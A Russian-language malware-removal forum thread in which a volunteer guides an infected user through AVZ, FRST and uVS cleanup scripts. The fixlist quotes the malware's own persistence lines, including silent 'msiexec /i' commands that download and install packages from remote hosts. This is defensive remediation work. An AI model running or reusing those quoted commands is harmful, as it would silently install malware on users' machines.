Помогите пожалуйста! Поймала вирус! не могу работать в браузерах! [UDS:DangerousObject.Multi.Generic, Trojan.Win64.Eroyee.ajh ]

**Atalina75** · 02.06.2017, 13:23

Уже несколько дней не могу работать в браузерах, они сами по себе закрываются и после этого на рабочем столе появляются ярлыки игр которых я не устанавливала (я вообще не устанавливаю никогда никакие игры, использую ноутбук сугубо для работы).
Пожалуйста, помогите разобраться и исправить эти недоразумения!

Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

**Info_bot** · 02.06.2017, 13:28

Уважаемый(ая) Atalina75, спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

**Vvvyg** · 03.06.2017, 21:51

Выполните скрипт в AVZ:

Код:

begin
 QuarantineFile('C:\Users\w10na\AppData\Local\background_fault\bf.dll', '');
 QuarantineFile('C:\Users\w10na\AppData\Local\background_fault\libcef.dll', '');
 QuarantineFile('C:\Users\w10na\AppData\Local\background_fault\chrome_elf.dll', '');
 QuarantineFile('C:\Users\w10na\AppData\Local\background_fault\libglesv2.dll', '');
 QuarantineFile('C:\Users\w10na\AppData\Local\background_fault\libegl.dll', '');
 QuarantineFile('c:\users\w10na\appdata\roaming\winsapsvc\winsap.dll', '');
 QuarantineFile('C:\Users\w10na\AppData\Local\glory\glory.dll', '');
 QuarantineFile('C:\Users\w10na\AppData\Local\snare\Snare.dll', '');
 QuarantineFile('C:\Users\w10na\AppData\Local\terana\terana.dll', '');
 QuarantineFile('C:\Program Files (x86)\Cllathgiy Update\local64spl.dll', '');
 QuarantineFile('C:\Program Files (x86)\YoutubeAdBlockU\0vjPplD.dll', '');
 QuarantineFile('C:\Program Files (x86)\Solescoohut\nerzepy.exe', '');
 QuarantineFile('C:\Program Files (x86)\Clunaryanerhiy\hogock.exe', '');
 QuarantineFile('C:\Program Files (x86)\Solescoohut\plergcult.exe', '');
 QuarantineFile('C:\Program Files (x86)\Clunaryanerhiy\anerwt.exe', '');
 DeleteFile('C:\WINDOWS\Tasks\E3605470-291B-44EB-8648-745EE356599A.job', '64');
 DeleteFile('C:\Users\w10na\AppData\Local\background_fault\bf.dll', '32');
 DeleteFile('C:\Users\w10na\AppData\Local\background_fault\libcef.dll', '32');
 DeleteFile('C:\Users\w10na\AppData\Local\background_fault\chrome_elf.dll', '32');
 DeleteFile('C:\Users\w10na\AppData\Local\background_fault\libglesv2.dll', '32');
 DeleteFile('C:\Users\w10na\AppData\Local\background_fault\libegl.dll', '32');
 DeleteFile('c:\users\w10na\appdata\roaming\winsapsvc\winsap.dll', '32');
 DeleteFile('C:\Users\w10na\AppData\Local\glory\glory.dll', '32');
 DeleteFile('C:\Users\w10na\AppData\Local\snare\Snare.dll', '32');
 DeleteFile('C:\Users\w10na\AppData\Local\terana\terana.dll', '32');
 DeleteFile('\iexplore.exe', '32');
 DeleteFile('C:\Program Files (x86)\Cllathgiy Update\local64spl.dll', '32');
 DeleteFile('C:\Program Files (x86)\YoutubeAdBlockU\0vjPplD.dll', '32');
 DeleteFile('C:\Program Files (x86)\Solescoohut\nerzepy.exe', '32');
 DeleteFile('C:\Program Files (x86)\Clunaryanerhiy\hogock.exe', '32');
 DeleteFile('C:\Program Files (x86)\Solescoohut\plergcult.exe', '32');
 DeleteFile('C:\Program Files (x86)\Clunaryanerhiy\anerwt.exe', '32');
 DeleteFileMask('c:\users\w10na\appdata\local\background_fault', '*', true);
 DeleteFileMask('c:\users\w10na\appdata\local\glory', '*', true);
 DeleteFileMask('c:\users\w10na\appdata\local\snare', '*', true);
 DeleteFileMask('c:\users\w10na\appdata\local\terana', '*', true);
 DeleteFileMask('c:\program files (x86)\cllathgiy update', '*', true);
 DeleteFileMask('c:\program files (x86)\youtubeadblocku', '*', true);
 DeleteFileMask('c:\program files (x86)\solescoohut', '*', true);
 DeleteFileMask('c:\program files (x86)\clunaryanerhiy', '*', true);
 DeleteFileMask('"c:\program files (x86)\mio', '*', true);
 DeleteDirectory('c:\users\w10na\appdata\local\background_fault');
 DeleteDirectory('c:\users\w10na\appdata\local\glory');
 DeleteDirectory('c:\users\w10na\appdata\local\snare');
 DeleteDirectory('c:\users\w10na\appdata\local\terana');
 DeleteDirectory('c:\program files (x86)\cllathgiy update');
 DeleteDirectory('c:\program files (x86)\youtubeadblocku');
 DeleteDirectory('c:\program files (x86)\solescoohut');
 DeleteDirectory('c:\program files (x86)\clunaryanerhiy');
 DeleteDirectory('"c:\program files (x86)\mio');
 ExecuteFile('schtasks.exe', '/delete /TN "Cllathgiy Update" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "E3605470-291B-44EB-8648-745EE356599A" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "E3605470-291B-44EB-8648-745EE356599A2" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "Girgestuzicult Client" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "Grihish" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "Milimili" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "Stermaent Log" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "Wiroiedckajcult Verfier" /F', 0, 15000, true);
 RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'background_fault');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Services\glory\Parameters', 'ServiceDll');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Services\WinSAPSvc\Parameters', 'ServiceDll');
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
 ExecuteRepair(9);
 ExecuteRepair(4);
 ExecuteRepair(3);
 ExecuteWizard('SCU', 2, 2, true);
RebootWindows(true);
end.

Компьютер перезагрузится.

В папке с AVZ появится архив карантина quarantine.zip, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

Перетащите лог Check_Browsers_LNK.log из папки Autologger на утилиту ClearLNK. Отчёт о работе прикрепите.

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Кроме уже установленных, отметьте галочками также "90 Days Files".

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (можно все в одном архиве).

**Atalina75** · 04.06.2017, 09:58

выполнила все инструкции. спасибо большое! логи прикрепила

- - - - -Добавлено - - - - -

отчет FRST.txt загружу через час. сайт не дает его загрузить, пишет что он слишком велик

- - - - -Добавлено - - - - -

отчет ClearLNK

залит на гугл-диск из-за большого размера отчет FRST.txt
https://drive.google.com/file/d/0By7...ew?usp=sharing

**Vvvyg** · 04.06.2017, 20:16

В системе установлен архиватор, WinrRar, могли бы упаковать, как я написал выше.

Браузеры подменены, после следующих действий установите заново, скачав с официальных сайтов.

Запустите FRST/FRST64. Нажмите комбинацию Ctrl+Y - откроется Блокнот. Скопируйте в него следующий код:

Код:

Powershell: enable-computerrestore "C:\"
CreateRestorePoint:
(Google Inc.) C:\Program Files (x86)\Hippig\Application\chrome.exe
HKU\S-1-5-21-1384479705-3010382771-1036989948-1001\...\Run: [GoogleChromeAutoLaunch_950854281E86D389E580B342CFC45A1A] => C:\Program Files (x86)\Hippig\Application\chrome.exe [977240 2017-04-19] (Google Inc.)
HKU\S-1-5-21-1384479705-3010382771-1036989948-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.ltdmsjq.com/?data=zDlkMj1SN8U2OThXFURSFjk4MdwcNjU4MjY2NkI8NWY5MTH5Fq== /q
HKLM\...\Providers\dv7cn74x: C:\Program Files (x86)\Cllathgiy Update\local64spl.dll
ShellExecuteHooks: No Name - {AEB93018-392E-11E7-B7FD-64006A5CFC23} -  -> No File
ShellExecuteHooks: No Name - {093A63E8-392F-11E7-B4BF-64006A5CFC23} - C:\Users\w10na\AppData\Roaming\Chusutainreiserle\Bawusthisesh.dll -> No File
ShellExecuteHooks: No Name - {76762DAC-392F-11E7-8B59-64006A5CFC23} - C:\Users\w10na\AppData\Roaming\Reerushbonodom\Ckoqghgraqisy.dll [145408 2017-05-21] ()
ShellExecuteHooks: No Name - {D62D8878-392F-11E7-B335-64006A5CFC23} - C:\Users\w10na\AppData\Roaming\Qubechphapiward\Arespluqay.dll -> No File
GroupPolicy: Restriction - Chrome <======= ATTENTION
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1495786961&z=ee78c99740c6e90133c9068g8zatbwdm8beqat2q1g&from=che0812&uid=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495786961&z=ee78c99740c6e90133c9068g8zatbwdm8beqat2q1g&from=che0812&uid=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1495786961&z=ee78c99740c6e90133c9068g8zatbwdm8beqat2q1g&from=che0812&uid=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495786961&z=ee78c99740c6e90133c9068g8zatbwdm8beqat2q1g&from=che0812&uid=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX&q={searchTerms}
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495786961&z=ee78c99740c6e90133c9068g8zatbwdm8beqat2q1g&from=che0812&uid=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX&q={searchTerms}
SearchScopes: HKLM -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495786961&z=ee78c99740c6e90133c9068g8zatbwdm8beqat2q1g&from=che0812&uid=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495786961&z=ee78c99740c6e90133c9068g8zatbwdm8beqat2q1g&from=che0812&uid=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX&q={searchTerms}
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495786961&z=ee78c99740c6e90133c9068g8zatbwdm8beqat2q1g&from=che0812&uid=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX&q={searchTerms}
BHO: No Name -> {E3605470-291B-44EB-8648-745EE356599A} -> No File
Edge HomeButtonPage: HKU\S-1-5-21-1384479705-3010382771-1036989948-1001 -> hxxp://www.ourluckysites.com/?type=hp&ts=1495786961&z=ee78c99740c6e90133c9068g8zatbwdm8beqat2q1g&from=che0812&uid=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX
FF user.js: detected! => C:\Users\w10na\AppData\Roaming\Mozilla\Firefox\Profiles\1uy94css.default-1495612203883\user.js [2017-05-26]
FF Homepage: Mozilla\Firefox\Profiles\1uy94css.default-1495612203883 -> hxxp://www.luckysearch123.com?type=hp&ts=1495775980&from=ca9a0525&uid=hgstxhts541010a9e680_ja100ad9017atk017atkx&z=65062b0621c0d0dde7c87dfg6zat6w2m5m2wdtfbcg
FF NewTab: Mozilla\Firefox\Profiles\1uy94css.default-1495612203883 -> hxxp://www.luckysearch123.com?type=hp&ts=1495775980&from=ca9a0525&uid=hgstxhts541010a9e680_ja100ad9017atk017atkx&z=65062b0621c0d0dde7c87dfg6zat6w2m5m2wdtfbcg
FF Homepage: Firefox\Firefox\Profiles\1uy94css.default-1495612203883 -> hxxp://www.searchinme.com/
FF SearchPlugin: C:\Users\w10na\AppData\Roaming\Mozilla\Firefox\Profiles\1uy94css.default-1495612203883\searchplugins\luck.xml [2017-05-26]
FF SearchPlugin: C:\Users\w10na\AppData\Roaming\Mozilla\Firefox\Profiles\1uy94css.default-1495612203883\searchplugins\ourluckysites.xml [2017-05-26]
FF ProfilePath: C:\Users\w10na\AppData\Roaming\Firefox\Firefox\Profiles\1uy94css.default-1495612203883 [2017-06-03]
FF Homepage: Firefox\Firefox\Profiles\1uy94css.default-1495612203883 -> hxxp://www.searchinme.com/
FF Extension: (HSearch) - C:\Users\w10na\AppData\Roaming\Firefox\Firefox\Profiles\1uy94css.default-1495612203883\Extensions\@E97YHOMI-FU8L-IM23-VUT9-RVDZT7M8XL8H.xpi [2017-05-25] [not signed]
FF SearchPlugin: C:\Users\w10na\AppData\Roaming\Firefox\Firefox\Profiles\1uy94css.default-1495612203883\searchplugins\startsearch.xml [2017-05-25]
FF HKLM-x32\...\Firefox\Extensions: [[email protected]] - C:\Users\w10na\AppData\Roaming\Mozilla\Firefox\Profiles\1uy94css.default-1495612203883\extensions\[email protected]
CHR DefaultSearchURL: ChromeDefaultData -> hxxp://www.mystarting123.com/search/index.php?z=11bb61c0daea7bc28368133g2zbt7w3q0w0oam9ceo&q={searchTerms}
CHR DefaultSearchKeyword: ChromeDefaultData -> mystarting123
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\ChromeDefaultData [2017-05-25] <==== ATTENTION
CHR Extension: (No Name) - C:\Users\w10na\AppData\Local\Google\Chrome\User Data\ChromeDefaultData2\Extensions\dkekdlkmdpipihonapoleopfekmapadh [2017-05-21]
CHR Extension: (No Name) - C:\Users\w10na\AppData\Local\Google\Chrome\User Data\ChromeDefaultData2\Extensions\pfigaoamnncijbgomifamkmkidnnlikl [2017-05-21]
CHR Extension: (No Name) - C:\Users\w10na\AppData\Local\Google\Chrome\User Data\ChromeDefaultData2\Extensions\pfmgfdlgomnbgkofeojodiodmgpgmkac [2017-05-16]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 61 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 62 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 63 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 64 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 66 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 67 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 68 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 69 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 71 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 72 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 79 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 80 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 81 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 83 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 85 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 87 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 89 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 91 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 93 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 95 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 97 [2017-05-24]
CHR Profile: C:\Users\w10na\AppData\Local\Google\Chrome\User Data\Profile 99 [2017-05-24]
CHR HKLM-x32\...\Chrome\Extension: [dkekdlkmdpipihonapoleopfekmapadh] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [efaidnbmnnnibpcajpcglclefindmkaj] - hxxps://clients2.google.com/service/update2/crx
OPR Extension: (No Name) - C:\Users\w10na\AppData\Roaming\Opera Software\Opera Stable\Extensions\jenggbjfjblgmpcfejchbpnpineboigk [2017-05-21]
R2 BIT; C:\ProgramData\BIT\BIT.dll [1812992 2017-06-02] (TODO: <公司名>) [File not signed] <==== ATTENTION
S2 WinSAPSvc; C:\windows\system32\svchost.exe [47664 2017-03-18] (Microsoft Corporation) <==== ATTENTION (ServiceDLL not found)
S2 WinSAPSvc; C:\windows\SysWOW64\svchost.exe [40904 2017-03-18] (Microsoft Corporation) <==== ATTENTION (ServiceDLL not found)
R1 YSDrv; C:\WINDOWS\system32\DRIVERS\YSDrv.sys [270608 2017-04-06] (BigNox Corporation)
U2 snare; no ImagePath
2017-06-01 18:44 - 2017-06-01 18:44 - 00000000 ____D C:\Stuvatybugtain
2017-05-27 17:14 - 2017-05-27 17:14 - 00000000 ____D C:\Program Files (x86)\BJBMD
2017-05-27 17:14 - 2017-05-27 17:14 - 00000000 _____ C:\WINDOWS\system32\Drivers\VBoxDrv.sys
2017-05-27 17:13 - 2017-05-27 17:13 - 00000000 ____D C:\Pipisy
2017-05-25 13:23 - 2017-05-25 13:23 - 00000000 ____D C:\Users\w10na\AppData\Roaming\Firefox
2017-05-25 13:23 - 2017-05-25 13:23 - 00000000 ____D C:\Users\w10na\AppData\Roaming\Elex-tech
2017-05-25 13:23 - 2017-05-25 13:23 - 00000000 ____D C:\Users\w10na\AppData\Local\Hippig
2017-05-25 13:23 - 2017-05-25 13:23 - 00000000 ____D C:\Users\w10na\AppData\Local\Firefox
2017-05-25 13:23 - 2017-05-25 13:23 - 00000000 ____D C:\Program Files (x86)\Elex-tech
2017-05-25 13:22 - 2017-06-04 09:04 - 00000000 ____D C:\Users\w10na\AppData\Local\background_fault
2017-05-25 13:22 - 2017-05-25 13:23 - 00000000 ____D C:\Program Files (x86)\Firefox
2017-05-25 13:22 - 2017-05-25 13:22 - 00000000 ____D C:\Program Files (x86)\Hippig
2017-05-25 12:14 - 2017-06-04 09:04 - 00000000 ____D C:\Users\w10na\AppData\Roaming\WinSAPSvc
2017-05-25 12:14 - 2017-05-25 13:22 - 00000000 ____D C:\ProgramData\BIT
2017-05-25 12:13 - 2017-05-25 12:13 - 00000000 ____D C:\Cosusp
2017-05-24 22:04 - 2017-05-24 22:04 - 00000000 ____D C:\Program Files (x86)\MIO
2017-05-24 22:02 - 2017-05-31 12:52 - 00000000 ____D C:\Program Files (x86)\7bbga9az
2017-05-21 23:33 - 2017-05-22 15:40 - 00000000 ____D C:\Program Files\H4CVE4BPM2
2017-05-21 23:32 - 2017-05-22 16:30 - 00000000 ____D C:\Users\w10na\AppData\Roaming\cubf3pnkwn5
2017-05-21 23:02 - 2017-05-22 15:41 - 00000000 ____D C:\Program Files\WKQ1VC1NNH
2017-05-21 23:01 - 2017-05-22 16:30 - 00000000 ____D C:\Users\w10na\AppData\Roaming\dpksm4rozqk
2017-05-21 23:01 - 2017-05-21 23:02 - 00000000 ____D C:\Program Files (x86)\Clunaryanerhiy_
2017-05-21 22:31 - 2017-05-24 22:28 - 00000000 ____D C:\Users\w10na\AppData\Roaming\Qubechphapiward
2017-05-21 22:31 - 2017-05-21 22:31 - 00000000 ____D C:\Program Files (x86)\Girgestuzicult Client
2017-05-21 22:30 - 2017-05-22 16:30 - 00000000 ____D C:\Users\w10na\AppData\Roaming\f0dyj1hpv3r
2017-05-21 22:30 - 2017-05-22 15:39 - 00000000 ____D C:\Program Files\13EZ2L9SLN
2017-05-21 21:59 - 2017-05-22 16:23 - 00000000 ____D C:\Users\w10na\AppData\Roaming\3jgpff3qmfk
2017-05-21 21:59 - 2017-05-22 15:40 - 00000000 ____D C:\Program Files\LTU4IAZOSQ
2017-05-21 21:27 - 2017-05-22 16:31 - 00000000 ____D C:\Users\w10na\AppData\Roaming\ybn0r2s1mst
2017-05-21 21:27 - 2017-05-22 15:39 - 00000000 ____D C:\Program Files\8YQ7ZK24DV
2017-05-21 20:56 - 2017-05-22 16:30 - 00000000 ____D C:\Users\w10na\AppData\Roaming\s1j20swlpel
2017-05-21 20:56 - 2017-05-22 15:40 - 00000000 ____D C:\Program Files\HCGBUAYJAH
2017-05-21 20:24 - 2017-05-22 16:23 - 00000000 ____D C:\Users\w10na\AppData\Roaming\5sy5njwd5ep
2017-05-21 20:24 - 2017-05-22 15:39 - 00000000 ____D C:\Program Files\26RHJVCPU4
2017-05-21 19:53 - 2017-05-22 15:40 - 00000000 ____D C:\Program Files\M32HHHD3X6
2017-05-21 19:53 - 2017-05-21 20:28 - 00000000 ____D C:\Users\w10na\AppData\Roaming\qlql0t2o0ct
2017-05-21 19:22 - 2017-05-22 15:40 - 00000000 ____D C:\Program Files\G577YFPSXB
2017-05-21 19:22 - 2017-05-21 20:28 - 00000000 ____D C:\Users\w10na\AppData\Roaming\cd2y5n35o2k
2017-05-21 18:51 - 2017-05-22 15:05 - 00000000 ____D C:\Users\w10na\AppData\Roaming\Reerushbonodom
2017-05-21 18:51 - 2017-05-21 19:35 - 00000000 ____D C:\Program Files\XZIVHI88WT
2017-05-21 18:51 - 2017-05-21 19:00 - 00000000 ____D C:\Users\w10na\AppData\Roaming\pzuawwci5y0
2017-05-21 18:51 - 2017-05-21 18:51 - 00000000 ____D C:\Program Files (x86)\Wiroiedckajcult Verfier
2017-05-21 18:50 - 2017-05-21 19:28 - 00000000 ____D C:\Program Files\5AI5PYBELP
2017-05-21 18:50 - 2017-05-21 19:00 - 00000000 ____D C:\Users\w10na\AppData\Roaming\b3vx2kvyrlq
2017-05-21 18:22 - 2017-05-21 19:28 - 00000000 ____D C:\Program Files\5SF7JHJIBD
2017-05-21 18:22 - 2017-05-21 19:00 - 00000000 ____D C:\Users\w10na\AppData\Roaming\xbnsj53seqo
2017-05-21 17:51 - 2017-05-21 19:28 - 00000000 ____D C:\Program Files\B9HK4OIZ6Z
2017-05-21 17:51 - 2017-05-21 19:00 - 00000000 ____D C:\Users\w10na\AppData\Roaming\ajdianm4b25
2017-05-21 17:21 - 2017-05-21 19:28 - 00000000 ____D C:\Program Files\F2DUUX0OQ5
2017-05-21 17:21 - 2017-05-21 19:00 - 00000000 ____D C:\Users\w10na\AppData\Roaming\1cmhnxsflr5
2017-05-21 17:21 - 2017-05-21 17:21 - 00000000 ____D C:\Program Files (x86)\Stermaent Log
2017-05-21 17:20 - 2017-05-21 21:03 - 00000000 ____D C:\Users\w10na\AppData\Local\Kuvspjejether
2017-05-21 16:50 - 2017-05-24 22:28 - 00000000 ____D C:\Users\w10na\AppData\Roaming\Chusutainreiserle
2017-05-21 16:50 - 2017-05-21 19:35 - 00000000 ____D C:\Program Files\XIU5E8REX0
2017-05-21 16:50 - 2017-05-21 19:00 - 00000000 ____D C:\Users\w10na\AppData\Roaming\rf4rv001rye
2017-05-21 16:20 - 2017-05-21 19:30 - 00000000 ____D C:\Program Files\S0TCKBWLEV
2017-05-21 16:19 - 2017-05-22 15:05 - 00000000 ____D C:\Users\w10na\AppData\Roaming\pdkkwgq3ucc
2017-05-21 16:19 - 2017-05-21 19:28 - 00000000 ____D C:\Program Files\9BAAVF9YK6
2017-05-21 16:19 - 2017-05-21 19:00 - 00000000 ____D C:\Users\w10na\AppData\Roaming\ghbz0nfw2yp
2017-05-21 16:13 - 2017-06-04 09:04 - 00000000 ____D C:\Program Files (x86)\Cllathgiy Update
2017-05-21 16:13 - 2017-05-21 19:30 - 00000000 ____D C:\Program Files\OBGI9R676X
2017-05-21 16:13 - 2017-05-21 19:00 - 00000000 ____D C:\Users\w10na\AppData\Roaming\ycgcccgz4vh
2017-05-21 16:13 - 2017-05-21 18:49 - 00000000 ____D C:\Users\w10na\AppData\Roaming\Jervergewjeing
2017-05-21 16:13 - 2017-05-21 17:01 - 00000000 ____D C:\Users\w10na\AppData\Local\Gerckfisosh
2017-05-21 16:12 - 2017-05-21 19:28 - 00000000 ____D C:\Program Files\0SAS04Q8CO
2017-05-21 16:12 - 2017-05-21 19:00 - 00000000 ____D C:\Users\w10na\AppData\Roaming\cal43raxvht
2017-05-21 16:12 - 2017-05-21 16:12 - 00140800 _____ C:\Users\w10na\AppData\Local\installer.dat
2017-05-21 16:12 - 2017-05-21 16:12 - 00011568 _____ C:\Users\w10na\AppData\Local\InstallationConfiguration.xml
2017-05-21 16:11 - 2017-05-21 19:00 - 00000000 ____D C:\Users\w10na\AppData\Roaming\24zqvgovajv
2017-05-21 16:11 - 2017-05-21 19:00 - 00000000 ____D C:\Program Files (x86)\o5lzueoklzu
Task: {CDA217E7-01B3-427E-A0E9-999DCF821EF6} - System32\Tasks\Microsoft\Windows\DeviceSettings\Grihish => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX&amp;d=20170521 /q <==== ATTENTION
Shortcut: C:\Users\w10na\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.LNK -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Public\Desktop\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
FirewallRules: [{9D25D1B2-6839-43F1-9A03-FF972BD1DCCC}] => (Allow) C:\Program Files (x86)\MIO\loader\hgstxhts541010a9e680_ja100ad9017atk017atkx.dat
FirewallRules: [{D66BAEA6-EAB2-4DA2-ACB8-EC30D4D6784A}] => (Allow) C:\Program Files (x86)\MIO\loader\hgstxhts541010a9e680_ja100ad9017atk017atkx.dat
FirewallRules: [{347BC6EB-3B5D-4963-B57D-A58486E08F6C}] => (Allow) C:\Program Files (x86)\Hippig\Application\chrome.exe
FirewallRules: [{A5DB8495-F081-4728-A5D8-5E29D7D6CE8B}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
FirewallRules: [{73CF14F5-4288-4ADA-986B-54703C606350}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe
FirewallRules: [{3713541D-6EEF-485A-AEB4-1B558AA4D930}] => (Allow) C:\Program Files (x86)\MIO\loader\3219913727_263875_e6209dbe.dat
FirewallRules: [{4443586A-5B57-402D-818A-58E1289265F5}] => (Allow) C:\Program Files (x86)\MIO\loader\3219913727_263875_e6209dbe.dat
EmptyTemp:
Reboot:

Сохраните (Ctrl+S) и закройте.
Отключите до перезагрузки антивирус, закройте все браузеры, в FRST нажмите Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Скачайте утилиту Universal Virus Sniffer отсюда и сделайте полный образ автозапуска uVS.

**Atalina75** · 05.06.2017, 12:41

при запуске FRST/FRST64 комбинация Ctrl+Y не срабатывает и не открывает Блокнот. У меня Windows 10 (64bit). подскажите пожалуйста как быть?

**Vvvyg** · 05.06.2017, 20:05

Создайте текстовый fail fixlist.txt в папке с FRST с содержимым из окна Код предыдущего сообщения. FRST нажмите Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

**Atalina75** · 05.06.2017, 21:26

все выполнила

**Vvvyg** · 05.06.2017, 21:41

Скачайте утилиту Universal Virus Sniffer отсюда и сделайте полный образ автозапуска uVS.

**Atalina75** · 06.06.2017, 11:54

все сделала

**Vvvyg** · 06.06.2017, 19:45

Скопируйте скрипт ниже в буфер обмена (выделить и нажать Ctrl-C):

Код:

;uVS v4.0.5 [http://dsrt.dyndns.org]
;Target OS: NTv10.0
v400c
uidel  C:\Program Files (x86)\Elex-tech\YAC\uninstall.exe
delref %SystemDrive%\PROGRAM FILES (X86)\FIREFOX\FIREFOX.EXE
delref %SystemDrive%\PROGRAMDATA\BB0EAC35-1E43-1\BB0EAC35-1E43-1.D
delref %SystemDrive%\PROGRAMDATA\BB0EAC35-4A91-0\BB0EAC35-4A91-0.D
deldir %SystemDrive%\PROGRAMDATA\BB0EAC35-1E43-1
deldir %SystemDrive%\PROGRAMDATA\BB0EAC35-4A91-0
